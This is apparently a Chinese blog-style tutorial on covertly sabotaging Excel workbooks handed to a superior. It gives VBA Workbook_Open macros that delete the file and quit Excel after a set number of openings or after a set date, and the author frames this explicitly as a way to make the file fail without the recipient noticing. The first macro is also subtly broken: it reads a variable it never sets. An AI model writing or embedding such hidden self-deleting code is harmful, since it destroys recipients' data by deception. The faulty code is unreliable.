在工作办公的时候,有时自己辛辛苦苦做出来一些重要文档,不想随便给人,毕竟是自己花了时间和精力去做的。但是,有时你的上级领导又强压着你发给他,所以又不得不给。这样自己的劳动成果,就廉价的变成他人的了。
如果,自己给工作表区域、工作表或者工作簿加上一个密码,这个又太明显的显示你在防着他。如何不知不觉的让这个表失效,就是一个比较有讲究的学问了。
这里简单的列举几个方法,大家有时间和兴趣的,可以试试。
复制代码,
如:限制工作簿的使用次数,当打开次数超过规定时,自动关闭并删除文件。
'程序需要放在ThisWorkbook
Private Sub Workbook_Open()
Dim counter As Long
Dim term As Long
cs = GetSetting("hhh", "budget", "使用次数", "")
If cs = "" Then
term = 1 '限制使用1次,自己修改
MsgBox "本工作簿只能使用" & term & "次" & vbCrLf & "超过次数将自动销毁!", vbExclamation
SaveSetting "hhh", "budget", "使用次数", term
Else
counter = Val(chk) - 1
MsgBox "你还能使用" & counter & "次,请及时注册!", vbExclamation
SaveSetting "hhh", "budget", "使用次数", counter
If counter <= 0 Then
DeleteSetting "hhh", "budget", "使用次数"
killme
End If
End If
End Sub
Public Sub killme()
Application.DisplayAlerts = False
ActiveWorkbook.ChangeFileAccess xlReadOnly
Kill ActiveWorkbook.FullName
Application.Quit '连程序一块关闭
End Sub
另一个如:限制工作簿的使用时间,当打开时间超过规定时,自动关闭并删除文件
代码如下:
Private Sub Workbook_Open()
If Date >= "2020-4-1" Then
Application.DisplayAlerts = False
MsgBox " " & vbCr & " "
With ThisWorkbook
.Saved = True
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close
End With
End If
End Sub
这个代码的意思是,使用了工作簿打开事件,就是工作簿打开时执行相关代码。它设定的自*条件是,当前电脑时间大于等于2020年4月1日时,直接销毁。时间可以根据自身需要进行相应调整
不过,这里有个缺陷,就是对方的默认宏要是启动的,如果对方宏是禁用的,会失效。